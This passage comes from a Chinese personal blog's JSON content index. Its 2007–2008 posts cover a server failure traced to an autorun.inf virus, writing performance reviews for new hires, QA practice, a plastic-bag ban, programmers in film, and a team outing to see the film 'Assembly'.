API才能找到这个文件。这时我们的技术支持发来信息说：在网上查了一下，autorun.inf可能是病毒或者是木马；一句话点醒梦中人啊，我也在网上搜索了一下，的确这个autorun.inf是病毒的产物。这时我的同事又发过来一条信息说：联通人员确认过了他们的这台PC服务器居然一直在\u0026rsquo;裸奔\u0026rsquo;，就是没有安装任何防毒软件。我晕！\n对这些运营商我就不再做太多评价了，地球人都知道。\n通过这次事件我们也可以看到：实际软件运行时产生的问题真是多种多样，防不胜防啊。其实不考虑其他原因，我们的软件本身如果做的更好些的话，也是可以避免上述问题的发生的，细节我就不说了。\n","permalink":"https://tonybai.com/2008/01/18/a-disaster-caused-by-virus/","summary":"\u003cp\u003e上周日下午，接到同事的一个寻求支持的电话，原来是部门以前给中国联通做的一个运行在PC服务器上的程序在每天凌晨出现\u0026rsquo;挂死\u0026rsquo;情况，导致程序运行中断，问题连续几天复现。程序是老程序，在不下十多个省运行，一直都很稳定。通过联通的人发过来的截图，很难定位问题所在，所以只能打车到了联通机房现场查看了。\u003c/p\u003e","title":"都是病毒惹得祸"},{"content":"之所以再写这个话题，源于今天发生一个\u0026quot;小事件\u0026quot;。今天是主管绩效反馈的最后一天，我负责评价其中的三个新员工，其中一个员工对我的评价提出了\u0026rsquo;异议\u0026rsquo;。\n为了这次\u0026rsquo;异议\u0026rsquo;，我安排了一次和他面对面的谈话，其实这次谈话早在其试用期结束时就该安排了，只是当时副部长替我把这个活儿做了。这位新员工去年年初到公司实习，实习后，带他的mentor给他的评语不错，以致07年中期他入司的时候我们对他期望很高，当然要求也比其他新员工高一些。但是半年的工作后，他给我的最直接感受就是\u0026quot;恨铁不成钢\u0026quot;，也许期望太高，失望就越大。这位员工各方面能力都不错，也爱钻研学习，但就是在\u0026rsquo;做事\u0026rsquo;方面显得不够\u0026rsquo;开窍\u0026rsquo;。这里的\u0026rsquo;做事\u0026rsquo;是一个抽象的名词了，无论在哪个行业，从事什么样的工作，其实我们都是在学习\u0026rsquo;做事\u0026rsquo;，把事情做好的原则都是一样的，无论在何岗位。试想一下，如果你是主管，你是领导，什么样的下属在你心中会占有一席之地呢？你可能会脱口而出：工作主动、态度积极、有奉献精神、能有效沟通、问题解决能力强等等。\n恰恰与此相反的是：很多刚入司的新员工没有过职业素质的培训，他们不能够意识到这些，往往接到一个要求10天完成的任务，不拖到第10天他就是不完成。实际上你的上级在分配任务的时候都是带有期望的，虽然说了任务可以10天来完成，但是在他们的期望中，这个任务对于新员工可能6天就可以完成，剩余的4天是给这个新员工总结和消化用的，上级期望这位新员工能发现些问题，新员工在工作过程中肯定会遇到问题的，但如果这位员工视问题而不见，或掖着藏着，那么显然会让上级对他有所失望，好比我上篇文章中的小A。\n一批新员工工作半年后，肯定会分出高低，当然也许不是技术上的，也许就是在我上面所说的\u0026rsquo;做事\u0026rsquo;上面有高低。这时还会有一个问题就是其他的新员工是否就发现了某个同伴在各个方面都已经领先了，他们是否意识到了要以这位优秀的员工作为目标，是否意识到自己的差距了呢？\n在今天我和这位新同事的谈话中，我就发现了这样的一个问题：他自己并没有意识到自己和某些优秀新员工在各方面的一些距离了。也许他真的看不到，但是站在我这个高度，我有横向对比的条件。这样一来他没有意识到差距，他又如何给自己设立新年度的目标和改进方向呢？\n在我的评语中，我同样也犯了一个错误或者说是经验不足导致。比如我使用了\u0026quot;xxx方面、xx方面需加强、在xx方面需提高\u0026quot;等等让人看了后感觉自己哪哪都有问题这样的评语，就是这个评语引起了这位新同事的\u0026rsquo;异议\u0026rsquo;。我在这方面的确欠考虑。下午，副部长给出了关于评语的建议：使用类似\u0026quot;XX、XX方面等都得到有效改进，还有更进一步提升的空间，期望能够XXXX\u0026quot;会让人更易接受。这种评价就是一种正面的鼓励性的评价，虽有一定的技巧性，但是又不乏诚恳，的确是值得我日后学习的。\n如果生活工作中多些鼓励和赞扬，世界也许会变得更美好，更向上，更具希望。\n","permalink":"https://tonybai.com/2008/01/15/talk-about-how-to-evaluate-persion-again/","summary":"\u003cp\u003e之所以再写这个话题，源于今天发生一个\u0026quot;小事件\u0026quot;。今天是主管绩效反馈的最后一天，我负责评价其中的三个新员工，其中一个员工对我的评价提出了\u0026rsquo;异议\u0026rsquo;。\u003c/p\u003e","title":"再谈如何评价人的技巧"},{"content":"\n这是一幅爱心捐款活动中的图片，此次活动主题是的\u0026quot;唤醒沉睡硬币温暖山乡孩子\u0026quot;。在此次活动中浙江省数百所中小学校的学生们用他们储蓄罐中的零用钱一共为山乡孩子们捐了近30万元的爱心款，在这近30万元的爱心款中，硬币约21万枚。\n","permalink":"https://tonybai.com/2008/01/14/ten-thousand-coins-warm-the-world/","summary":"\u003cp\u003e\u003cimg loading=\"lazy\" src=\"http://bigwhite.blogbus.com/files/12002951690.jpg\"\u003e\u003cbr\u003e\n这是一幅爱心捐款活动中的图片，此次活动主题是的\u0026quot;\u003ca href=\"http://news.xinhuanet.com/photo/2008-01/14/content_7415667.htm\"\u003e唤醒沉睡硬币温暖山乡孩子\u003c/a\u003e\u0026quot;。在此次活动中浙江省数百所中小学校的学生们用他们储蓄罐中的零用钱一共为山乡孩子们捐了近30万元的爱心款，在这近30万元的爱心款中，硬币约21万枚。\u003c/p\u003e","title":"万枚硬币送出人间温暖"},{"content":"昨晚的新闻联播中播报了：国务院办公厅的关于\u0026quot;6月起全国禁止免费提供塑料购物袋\u0026quot;的新闻，对于国家的这一决定我当然是举双手赞成，但是规定的执行是否如政府所愿，我想还需要各方面持续不断的细致工作。\n我想关于这一规定有两点是需要考虑的：\n第一，不要将\u0026quot;有偿使用塑料袋\u0026quot;变成\u0026quot;以卖塑料袋\u0026quot;盈利\n国家在规定\u0026quot;有偿使用塑料袋\u0026quot;的同时，还应加大使用布袋、纸袋等环保购物袋的宣传力度，各大超市也有责任去宣传使用环保袋，并在超市中提供物美价廉的环保袋。购物袋企业也应该调查群众心理，设计出更贴近消费者购物习惯的多功能环保购物袋。如果不这样的话，塑料袋反倒真的提高了老百姓的购物成本了，而塑料袋的使用数量也没有减少。因为在各个媒体的调查中也得到了反馈，很大一部分消费者选择了：塑料袋收费后也不会很贵，可能依然继续使用。\n第二，塑料袋的另一的作用-垃圾承载，不能忽略\n消费者对于塑料袋的依赖不仅仅只是购物使用，绝大多数消费者购物时获取的塑料袋都会被二次利用为垃圾袋使用。如果使用布袋或其他替代品，势必会增加垃圾处理的不便，不知道国家有没有相关配套解决方法，指导消费者减少塑料袋使用的同时也能很好的处理生活垃圾。\n也许还有其他…。\n记得小时候，长辈们都是使用购物筐的，那个时候人们的生活是不依赖塑料袋的，这也证明了不依赖塑料袋是可行的。\n","permalink":"https://tonybai.com/2008/01/10/my-country-forbid-free-plastic-bag/","summary":"\u003cp\u003e昨晚的新闻联播中播报了：国务院办公厅的关于\u0026quot;6月起全国禁止免费提供塑料购物袋\u0026quot;的新闻，对于国家的这一决定我当然是举双手赞成，但是规定的执行是否如政府所愿，我想还需要各方面持续不断的细致工作。\u003c/p\u003e","title":"国家出台禁止免费提供塑料袋规定"},{"content":"又到年终，各个单位都会开始自己的绩效考核和评优工作，这些工作中不免会有一项就是\u0026rsquo;评价你的同事\u0026rsquo;。刚入司的时候，没机会评价他人，工作年头多了，自然就有了\u0026rsquo;权力\u0026rsquo;去评价他人，这个评价对于被评价人当然是十分重要了，可能直接关系到他的奖金、薪水涨幅以及更好的机会，所以每当要给别人评价的时候，心里都\u0026rsquo;发虚\u0026rsquo;，生怕自己的评价不能完全反映这个人真实情况，带来些不好的后果。\n也许\u0026quot;如何评价一个人\u0026quot;这个题目有些大，一个人的组成因素就很复杂，既有显式的因素，比如沟通能力、演讲能力、专业技术能力等，也有隐式的因素，比如道德、精神等。这里还是将话题缩小些吧，缩小为\u0026quot;评价一个人的工作情况\u0026quot;，这也是我们平时最常见的一种情况了。\n这个话题源于今天我填写的一份公司级优秀新员工推荐表，公司发展很快，规模扩张迅速，每年有大量新员工加入公司，基数大了，评优的竞争就更加激烈了，所以人力在发来邮件的时候用上了\u0026rsquo;认真\u0026rsquo;二字，因为这份推荐表报上去后，会与其他新员工一起竞争，这样一来我的评价就起到至关重要的作用了。\n思前想后无从下笔，到底什么样的语言才能更好地体现出这位新员工的优良表现呢？我的语言向来\u0026rsquo;比较枯燥\u0026rsquo;，缺乏感染力，如果生搬硬套一些现成的华丽辞藻反倒效果不好，那我只能摆事实了，用六顶思考帽的理论来说就是带上\u0026rsquo;白帽子\u0026rsquo;去思考，事实本来就是最能令人信服的依据了。然而从什么角度去摆这个事实呢？对于一个入司刚足半年的新员工来说，哪些事实可以让其与众不同呢？也许你要说技术？对于软件行业来说，技术大牛都是令人刮目相看的，软件行业里百分之九十以上都是技术出身，说技术肯定没问题。关键是半年时间也许还不够这批新员工完全展示自己的技术的，而且技术这个东西都是有体系局限性的，在一个Java人员小A面前大说特说某C语言开发人员小B技术有多棒，小A肯定会质疑：小B连J2EE是什么都不懂，怎么说他技术很棒呢？一头雾水。\n那么除了技术外，在管理者角度，新员工还有哪些东西可以被看重呢？考虑再三，我决定从职业素质这方面说起。职业素质这个东西分显性素质和隐性素质。显性的素质比如知识和技能，隐性素质则是冰山下的那部分(很多管理类课程都会有\u0026rsquo;冰山\u0026rsquo;理论这一说)，比如职业道德、职业精神，两种素质相比，真正反映一个人后劲的还是冰山下的那部分就是隐性素质。对于新员工来说，让从学校出来进入社会，往往具备了一定的显性素质，而且差异不大，隐性素质有所欠缺，且往往差异很大。如果从隐性素质入手，很容易就能比较出来谁高谁低。\n举两个工作中常见的例子：\n前提：小A和小B，同样是刚入司的新员工，技术能力平分秋色，小A在技术深度上的理解甚至好于小B。\n[情景一]\n小A与小B同时接收到上级的两个任务，分别负责修改和维护一块遗留代码。两人的做法如下：\n小A按照时间期限和任务目标完成了对代码的修改，思路方法都是模仿以前遗留代码的风格，即便他看出了这块代码实现和维护都很繁琐。\n小B也同样在这段时间内完成了对代码的修改，思路方法也都是模仿以前遗留代码的风格。但是在述职的同时，小B拿出了另外两个成果物：一个是自己对遗留代码的总结分析文档，便于后人维护这段代码时有文档参考，另外他还向上级提交了另一套改造遗留模块的技术方案，并已经实现了原型，给上级做了演示，说明新方案的优点，小A为了这两份超额的成果物，每天牺牲一定的私人时间来工作。\n[情景二]\n小A与小B同时接收到上级的两个任务，分别负责设计一个子模块，输出设计文档(负责人给小A与小B两人提供了以前的一些需求和设计资料)\n小A收到任务和资料后，马上建立一个设计文档，根据负责人提供的资料、已有的代码以及前期的一些研究开始埋头设计。\n小B收到任务和资料后，同样开始学习资料和代码，并将资料和代码中的一些疑问列出，并定期向负责人咨询，负责人反馈后，小A不断修正自己的方案。\n任务结束后，小A和小B按时提交了成果物，小B的设计符合需求，而小A的设计与负责人的预期目标却大相径庭，甚至某些需求都不能实现。\n也许我不用再多说了，通过这两个工作中常见的例子，小A和小B高低立见。\n","permalink":"https://tonybai.com/2008/01/09/how-to-evaluate-a-person/","summary":"\u003cp\u003e又到年终，各个单位都会开始自己的绩效考核和评优工作，这些工作中不免会有一项就是\u0026rsquo;评价你的同事\u0026rsquo;。刚入司的时候，没机会评价他人，工作年头多了，自然就有了\u0026rsquo;权力\u0026rsquo;去评价他人，这个评价对于被评价人当然是十分重要了，可能直接关系到他的奖金、薪水涨幅以及更好的机会，所以每当要给别人评价的时候，心里都\u0026rsquo;发虚\u0026rsquo;，生怕自己的评价不能完全反映这个人真实情况，带来些不好的后果。\u003c/p\u003e","title":"如何评价一个人"},{"content":"今天在前台看了一下自己的blog主页面，发现自己定制的ClustrMap好像是重新开始计数了，经查才知道ClustrMap一年一Archive，以前的统计都被Archive了。\n我也顺便看了一下自己的200701-200801的archive图片，从图上来看，估计凡是有访问我Blog的地方都是有中国人的地方。这里贴出来Show一下。不得不感叹：网络这东西真是将世界变小了。还记得2006年末一位还在英国的中国湖南女士想借用我在岳麓山下拍的那幅主席照片做一次家乡图片展，当时的感觉真是很荣幸，没有网络的话，这一切都不会发生。\n我的200701-200801 ClustrMap\n","permalink":"https://tonybai.com/2008/01/09/my-clustrmap-show/","summary":"\u003cp\u003e今天在前台看了一下自己的blog主页面，发现自己定制的\u003ca href=\"http://www2.clustrmaps.com/counter/maps.php?url=http%3A%2F%2Fbigwhite.blogbus.com\"\u003eClustrMap\u003c/a\u003e好像是重新开始计数了，经查才知道ClustrMap一年一Archive，以前的统计都被Archive了。\u003c/p\u003e\n\u003cp\u003e我也顺便看了一下自己的\u003ca href=\"http://www2.clustrmaps.com/stats/history/bigwhite.blogbus.com-2007-01-04_to_2008-01-04.jpg\"\u003e200701-200801\u003c/a\u003e的archive图片，从图上来看，估计凡是有访问我Blog的地方都是有中国人的地方。这里贴出来Show一下。不得不感叹：网络这东西真是将世界变小了。还记得2006年末一位还在英国的中国湖南女士想借用我在岳麓山下拍的那幅\u003ca href=\"http://tonybai.com/2006/11/04/a-tour-of-yuelu-mountain/\"\u003e主席照片\u003c/a\u003e做一次家乡图片展，当时的感觉真是很荣幸，没有网络的话，这一切都不会发生。\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"http://bigwhite.blogbus.com/files/11998721580.jpg\"\u003e\u003cbr\u003e\n我的200701-200801 ClustrMap\u003c/p\u003e","title":"我的ClustrMap Show"},{"content":"最近一段时间正处于项目策划阶段，这个阶段势必要和部门QA打交道，咨询问题并获取支持。按照我们公司的软件开发流程，策划阶段要输出一系列文档的。这些文档都是有公司模板或者是经部门裁剪后模板作为基础的，所以现在项目前期策划基本上就是按照自己的思路填写文档，估计很多公司也都是这么做的。\n好不容易花了一个星期的时间把这些文档\u0026rsquo;填全\u0026rsquo;了。提交给QA，让之帮忙审审。QA的一封邮件回来，问题多多。\n当我看到这些QA提出的问题时，我的第一个念头就是\u0026quot;QA人员一定要有实际项目经验\u0026quot;或者说这些体系文档QA自己按照流程一个一个的实践一下，自己填一遍。这样就能体谅这些问题是为什么发生的了。比如说：QA建议每个项目阶段前都要有一个任务叫\u0026quot;策划xx阶段\u0026quot;，用过MS Project的人都会了解，如果分配给一个人的任务散布在整个Project甘特图的各个部分，十分不利于人员的任务分配，你要考虑到任务间的依赖关系，还要考虑到\u0026rsquo;资源工作表\u0026rsquo;中每个资源不能\u0026rsquo;变红(过载了)\u0026rsquo;。这些阶段性策划在实际项目过程中都是在一个集中的时间段完成的，大可集中放到一处。还有，对于多人参与的任务也是很难分配的，也是要考虑依赖关系和资源过载的。\n部门的QA没有实际项目经验，隶属学院派的，工作很认真，并且有坚定的过程改善的信念，唯一缺乏的就是实际的项目经验。如果能到一线锻炼一下，相信她会发现更多待改善的问题，也就不用我们不断的提意见、沟通、反驳、再沟通、再达成一致了。谈到QA，我的理解是：QA一定要有坚定的信念，很好的执行力，丰富的项目经验，相信通过良好的不断改进的过程一定能让项目管理更加精确、准时。否则如果没有这份坚定，做起工作来那简直就毫无乐趣而言了。很多大公司的QA都是由一线开发人员、测试人员或者是项目管理人员转型后来做的，他们在项目里待过，知道改善的地方在哪里，同理心更强，知道开发人员为了达到某个项目管理的目标需要付出的代价。有项目经验的QA能大大减少纸上谈兵的概率，提高自己的说服力。\n还有很多问题原因不在QA，而是模板的问题。填写模板时我们也希望要填写自己能控制、能想到的东西，如果在自己控制力之外的一些东西非要填，那就很头疼了。其实这也和部门角色定位有关系。部门的项目负责人与传统意义上的项目经理不甚相同，部门的项目负责人在一定意义上是偏技术类的。如果让偏技术类的负责人去填写什么\u0026quot;信息资产管理\u0026quot;、\u0026ldquo;共利益者管理\u0026rdquo;、\u0026ldquo;客户资产管理\u0026rdquo;、\u0026ldquo;项目采购计划\u0026quot;这类的表格显然是\u0026quot;门不当户不对\u0026rdquo;。\n做项目也是做事，应该本着一个原则\u0026rsquo;简单\u0026rsquo;。把一些与项目目标不相关的事情也牵扯进来似乎费力费神，毫无意义。记得在上一个项目总结会上提到过一个成本目标的问题，项目初期策划时需要填写一个成本估计，然后结项时收集实际成本数据做比对，看目标是否达成。可是项目总结时根本无处获取这样一个成本数据，财务那面根本就不会给我们技术负责人出这种报表的，类似这样的\u0026rsquo;估计\u0026rsquo;估之作甚呢。\n意见和建议已经提交给QA了，估计明天又会有一次激烈讨论。^_^\n","permalink":"https://tonybai.com/2008/01/07/qa-must-have-experience-in-real-project/","summary":"\u003cp\u003e最近一段时间正处于项目策划阶段，这个阶段势必要和部门QA打交道，咨询问题并获取支持。按照我们公司的软件开发流程，策划阶段要输出一系列文档的。这些文档都是有公司模板或者是经部门裁剪后模板作为基础的，所以现在项目前期策划基本上就是按照自己的思路填写文档，估计很多公司也都是这么做的。\u003c/p\u003e","title":"QA人员一定要有实际项目经验"},{"content":"午休时看到CSDN上的一篇叫’外行人看软件:看\u0026lt;商谍\u0026gt;有感‘的文章，这又让我想起07年看完’虎胆龙威4‘后的那个问题：现在影视著作中表现程序员这个行当的作品太少了，包括书籍杂志也是这样，我记忆里是没看到哪部畅销小说是写程序员的。\n隐约记得央视很多年前有一部电视剧叫\u0026quot;牵手\u0026ldquo;的，那里的主角-由吴若甫饰演的是搞软件开发的，但是剧中基本没有程序员典型生活的描写，主要还是以爱情作为主线。起码这也算是我看到的第一部有程序员这个职业角色的影视剧了。07年的\u0026quot;虎胆龙威4\u0026quot;算是从正面描写程序员(剧中是黑客)的一部好作品了，这部剧也向人们展示了程序员所从事的工作对这个社会的重大意义和价值了。\n即使如此，以程序员职业为剧情背景的作品比之其他传统行业来说还是少之甚少，简直少的可以认为是忽略不计。\n人民大众对于程序员这个职业的了解应该说少之又少。就拿我自己来说，我工作了3年多，我父母只是知道我每天都是坐在电脑前的，却不甚清楚我到底在做什么？也不知道我做出的东西到底有什么用处，因为在他们的生活里连最基本的对软件的感性认识都没有，想和他们解释清楚难啊。最好的做法就是买一台电脑给他们，连上互联网，让他们去自己感受。像我父母这样在传统思维中生活习惯的人在中国应该说占了大部分。’缺乏群众基础’、行业年轻、少有素材，也许这就是影视书籍作品中少有反应程序员生活的原因之一。就拿\u0026quot;商谍\u0026quot;这部作品来说，据完整看过这部电影的人反映：片中某组场景是描述一个\u0026quot;高智商\u0026quot;的CTO在没日没夜地编写代码，但是其中的一组屏幕特写却反映了此剧导演对程序员的了解。屏幕上展示着如下代码：\u0026ldquo;case 1: a = 3; case 2: a = 4; case 3: a = 5; …\u0026rdquo; 寒，就一个字啊！这不是低估中国程序员的智商么:)\n程序员是一个极具创造力的群体，思维敏捷而发散，天马行空，喜欢新事物，成就感驱动，有时为了自己编出了一段精致的代码而暗自偷乐，成就感三天而不绝。程序员的工作场景很简单-计算机前，很多程序员天生不爱张扬，也就和程序员的工作产品一样，他们被划归为幕后工作者。用挑灯夜战、废寝忘食来形容我们的生活真是一点也不过分。他们编写出来的产品却在社会发展中起着至关重要的作用。股票交易系统、银行支撑和结算系统、电信支撑运营系统、公路/铁路/民航调度指挥系统、社保医保公积金管理系统等等等，这里哪个系统出了事情都是要影响社会和谐稳定的。\n程序员已经沦落到了自己操刀来写自己的份了，CSDN最近贴出的’疯狂程序员‘就是一个例子。我真是希望能有几个学文学出身的程序员，兼具很强的文学作品创作能力，多写写咱们程序员，让中国人民了解我们。程序员中也不乏能写的，很多专业程序员也很能写，但是也许他们少有时间来系统的思考和写作罢了。\n制作程序员相关的影视、书籍作品的经济投入产出分析：拍出一部好的反映程序员的电影或其他作品应该很有市场，现在的程序员都很年轻，都是社会的消费主力，他们手里的银子很好赚的，只要你能写出、拍出真正反映我们程序员生活的作品。\n","permalink":"https://tonybai.com/2008/01/07/programmers-and-films-and-television-programs/","summary":"\u003cp\u003e午休时看到CSDN上的一篇叫’\u003ca href=\"http://blog.csdn.net/xiammy/archive/2008/01/03/2023962.aspx\"\u003e外行人看软件:看\u0026lt;商谍\u0026gt;有感\u003c/a\u003e‘的文章，这又让我想起07年看完’\u003ca href=\"http://www.douban.com/subject/1401535/\"\u003e虎胆龙威4\u003c/a\u003e‘后的那个问题：现在影视著作中表现程序员这个行当的作品太少了，包括书籍杂志也是这样，我记忆里是没看到哪部畅销小说是写程序员的。\u003c/p\u003e\n\u003cp\u003e隐约记得央视很多年前有一部电视剧叫\u0026quot;\u003ca href=\"http://www.douban.com/subject/2225011/\"\u003e牵手\u003c/a\u003e\u0026ldquo;的，那里的主角-由吴若甫饰演的是搞软件开发的，但是剧中基本没有程序员典型生活的描写，主要还是以爱情作为主线。起码这也算是我看到的第一部有程序员这个职业角色的影视剧了。07年的\u0026quot;虎胆龙威4\u0026quot;算是从正面描写程序员(剧中是黑客)的一部好作品了，这部剧也向人们展示了程序员所从事的工作对这个社会的重大意义和价值了。\u003c/p\u003e\n\u003cp\u003e即使如此，以程序员职业为剧情背景的作品比之其他传统行业来说还是少之甚少，简直少的可以认为是忽略不计。\u003c/p\u003e","title":"程序员与影视作品"},{"content":"\u0026lsquo;演好自己的戏，有意义\u0026rsquo;，这是饰演\u0026rsquo;许三多\u0026rsquo;的\u0026rsquo;傻根\u0026rsquo;王宝强在昨晚新闻频道的一则栏目中给观众们的留言。在生活中也一如许三多一样单纯的王宝强说出了我们大家心中的声音。都说生活如戏，戏如人生，我们每个人在这个社会中都饰演着多种角色，父母、儿女、同事、同学等等，能真正将这些角色都演好，真的很难；如果能演好这些戏，难道不是很有意义吗:)\n翻看自己的2007年所写的博客，从\u0026lt;\u0026lsquo;金猪年\u0026rsquo;快乐\u0026gt;到\u0026lt;集结一起看\u0026rsquo;集结号\u0026rsquo;\u0026gt;不多不少一共110篇(很凑巧的数字不是么^_^)，与06年的218篇相比减少了一半，原因很简单：忙。\n刚刚过去的2007年的确是繁忙的一年，公司产品的版本从2.0.0做到2.6.0，期间相继发布了2.0.1、2.0.2、2.0.3三个补丁版本和一个2.5.0的主要版本。虽然开发工作不少，但是真正让我感觉到累的是维护工作-直接面对客户的维护工作。由于公司的分工不细致规范以及人力策略上的问题，导致像我这样的技术管理负责人压力很大，既要主持需求开发、系统设计和实现的工作，又要直面客户，花费很大一部分精力来做产品维护工作，甚至有些时候感觉自己身兼项目经理、开发人员和维护人员三种角色于一身，很不容易。按我同事的说法：\u0026ldquo;一个人能把一类事情做好已经很不容易，何况要做这么多类的事情呢\u0026rdquo;。这也是在一段时间内我写的blog都与系统维护过程中发现问题有关的原因。问题不是一天两天可以解决的，所以改善工作状态将是2008年我的一个工作目标。\n2007年有遗憾：感觉自己在技术上没有太大进步，献给技术研究上的时间在其他工作渐渐多起来的情况下缩水了，特别是感觉自己的代码嗅觉正在下降。这显然是与投入在写代码上的时间的减少不无关系的。我喜欢编码，在2008年提高自己在编码上的投入已经成为我的一个主要目标，总是感觉没有编码，就没有足够的成就感。最初将我引上程序员这条路上的就是代码，代码给我带来的无穷的成就感。\n虽然自己依然执着于技术，但是现在的角色-技术管理者我一样要做好，因为对我而言，除了兴趣之外，再有的就是证明自己\u0026rsquo;能行\u0026rsquo;，所以在2008，形成自己的一套符合自己管理风格和特色的项目管理流程也被纳入我的目标之一。\n2008年是北京奥运年，今天则是奥运年的启程之日，希望在这奥运年的第一天每个人都能给自己设定好目标，并一步一步脚踏实地的走下去，希望在这个中国人的奥运年中，每个中国人都能\u0026rsquo;演好自己的大戏\u0026rsquo;，让自己的生活更加丰富多彩且有意义。\n祝全天下的人新年快乐!\n","permalink":"https://tonybai.com/2008/01/01/it-does-make-sense-to-play-yourself-well/","summary":"\u003cp\u003e\u0026lsquo;演好自己的戏，有意义\u0026rsquo;，这是饰演\u0026rsquo;许三多\u0026rsquo;的\u0026rsquo;傻根\u0026rsquo;\u003ca href=\"http://v35.blog.sina.com.cn/wbq\"\u003e王宝强\u003c/a\u003e在昨晚新闻频道的一则栏目中给观众们的留言。在生活中也一如许三多一样单纯的王宝强说出了我们大家心中的声音。都说生活如戏，戏如人生，我们每个人在这个社会中都饰演着多种角色，父母、儿女、同事、同学等等，能真正将这些角色都演好，真的很难；如果能演好这些戏，难道不是很有意义吗:)\u003c/p\u003e\n\u003cp\u003e翻看自己的2007年所写的博客，从\u0026lt;\u003ca href=\"http://tonybai.com/2007/01/01/happy-new-year-2007/\"\u003e\u0026lsquo;金猪年\u0026rsquo;快乐\u003c/a\u003e\u0026gt;到\u0026lt;\u003ca href=\"http://tonybai.com/2007/12/30/watch-film-assembly-together/\"\u003e集结一起看\u0026rsquo;集结号\u0026rsquo;\u003c/a\u003e\u0026gt;不多不少一共110篇(很凑巧的数字不是么^_^)，与06年的\u003ca href=\"http://tonybai.com/2007/01/10/i-am-writing-blog-all-the-time-on-2006/\"\u003e218篇\u003c/a\u003e相比减少了一半，原因很简单：忙。\u003c/p\u003e","title":"'演好自己的戏，有意义'"},{"content":"昨天是2007年的最后一个工作日，我们项目组的集体活动也定在了昨天晚上。经过组员的投票、统计和确认，我们最终排除了滑雪、真人CS，选择集体一起看最新冯小刚的大片\u0026rsquo;集结号\u0026rsquo;+ 片后大餐。\n回想起来自从初中毕业后，就再也没有过集体看电影的经历了。现在一般都是和GF一起去看，多数情况下都是两个人，当然也有和朋友、同学一起去看的时候，多则不超过5个人。像昨天我们\u0026rsquo;兴师动众\u0026rsquo;几十号人一起看电影的情形真是让人兴奋。\n由于是\u0026quot;大片\u0026quot; + \u0026ldquo;大餐\u0026quot;的活动组合，我们经领导\u0026quot;默许\u0026quot;提前若干小时就下班了。公司离市区较远，人数众多，我们就合挤一辆公交车，只见公交车上满满登登的都是我们的人，大家说说笑笑，虽说有40多分钟的车程，但是大家也都感觉车很快就到了，一年到头少有这样放松的时刻能让大家在一起毫无拘束的天南海北的侃了。\n几十个人一起冲进电影院(昨天沈城的气温很低，寒流导致的)，这也让影院的工作人员着实吃了一惊，了解情况后才放了心。电影是30分钟后才开演，大家自己休息调整，准备迎接大片的播放。\n由于是集体看，还有时间约束，我们没能赶上一号大厅的时段，而且我们的座位颇为靠前，看完电影后证明了坐在前面是极其影响观感的。光陆影院的设施在沈城已经不算是最先进的了，而且感觉二号厅的放映设备质量很是一般，屏幕图像一直在颤动。\n\u0026lsquo;集结号\u0026lsquo;前奏的广告太多，不知道是\u0026rsquo;集结号\u0026rsquo;的原因还是影院自身的原因，以前在其他影院看其他大片时前奏多是预告片，哪有这么多广告。\n\u0026lsquo;集结号\u0026rsquo;刚开始5分钟，我就体会到座位太靠前的痛苦了。对于\u0026rsquo;集结号\u0026rsquo;这种在细节处描述战争的片子，其镜头不免切换很快而且晃动厉害，眼睛在左晃右晃的镜头前面显得是那么的脆弱，这直接影响到我的观感，遗憾啊！不过眼睛渐渐适应后，自己也融入了剧情。以前的\u0026rdquo;拯救大兵瑞恩\u0026ldquo;和\u0026rdquo;太极旗飘扬\u0026ldquo;都是在电脑上看的，虽说也很震撼，但是与在电影院中的体会是完全不同的。这次\u0026quot;集结号\u0026quot;同样采用了类似前面两部片子战争描写手法，让我们这群生活在和平年代的人\u0026rsquo;真切\u0026rsquo;体会到了战争的残酷– 原来战争是这样的。这让集结号与以往主旋律的战争片形成了鲜明的对比，不再有什么口号，不在有什么主义，不再有什么意识形态，不再表现领袖和统帅，摆在我们面前的是一个个也是怕死的但情谊深重、战斗勇猛的普通士兵的形象，他们心中有希望，但是也能勇敢的面对现实，他们流血、流泪，期望活下来，期望战友们都活下来。\n有些人批评说：片中很多人物还没等形象鲜明就挂了。这毕竟是电影，时间有限；这也是\u0026rsquo;战争\u0026rsquo;，一个人的生与死只是\u0026rsquo;瞬间\u0026rsquo;的事情，也许只言片语能更多的给人以回味，比如任泉扮演的在第一场战斗中牺牲的指导员。\n谷子地是个好的基层指挥员-服从命令，爱护下属，思路清晰，战斗经验丰富。他原本是很想和他的47位兄弟一起成为烈士的，但老天没让他如愿，也多亏他没死，否则那帮兄弟连个烈士的名号都得不到，仅被做\u0026rsquo;失踪\u0026rsquo;处理。既然没死，谷子地就开始为他的兄弟恢复名誉而奔忙，电影后期都是围绕着这个线索展开。兄弟情、战友情也在这里得到升华。虽然集结号改编自小说\u0026rdquo;官司\u0026quot;，但我相信这样的故事是真实的。中国从20世纪初到现在先后经历了抗日战争、解放战争、抗美援朝、中苏、中印、对越自卫反击等多次战争的洗礼，像片中这样的战斗发生次数无法统计会有多少了，肯定会有类似片中的这种情况出现的。记得就是今年曾经看过一则报道，讲的就是一名老兵每年的同一时间都到其战友们的墓地探望战友的故事，如果我没记错的话，他一直坚持了50年，最后一次探望过程中，这位老兵因病去世，到死也和他的战友们在一起，很是感人。\n片中的故事一样感人，我的同事都一致认为这部片子看的很值，不仅是其表现手法，更多的是其中蕴含的情谊让大家产生共鸣。我则是希望能到更好的电影院再细细品味一次这部片子，好片子的确是要多看几次的。\n圣诞新年档期，大片好片云集，网友们对这些片子做了个\u0026rsquo;恶搞\u0026rsquo;式的总结，这里也摘录如下：\n\u0026ldquo;色戒\u0026rdquo;： 女人不可靠\n\u0026ldquo;苹果\u0026rdquo;： 男人不可靠\n\u0026ldquo;投名状\u0026rdquo;：兄弟也不可靠\n\u0026ldquo;集结号\u0026rdquo;：组织更不可靠\n\u0026ldquo;长江７号\u0026rdquo;：地球人都不可靠\n2007年伴随着\u0026quot;集结号\u0026quot;的吹响即将落下帷幕，2008年又是充满希望和挑战的一年，这里仅是希望国家在经济高速发展的同时也能切实的考虑和解决老百姓生活中的存在各种问题，提高老百姓的幸福感。毕竟对于普通老百姓来说，有一个幸福温馨的家庭，有一份不错的收入，有一定的休息时间和家人在一起的时间就会很满足了。\n这里提前祝全天下的人2008新年快乐！\n","permalink":"https://tonybai.com/2007/12/30/watch-film-assembly-together/","summary":"\u003cp\u003e昨天是2007年的最后一个工作日，我们项目组的集体活动也定在了昨天晚上。经过组员的投票、统计和确认，我们最终排除了滑雪、真人CS，选择集体一起看最新冯小刚的大片\u0026rsquo;\u003ca 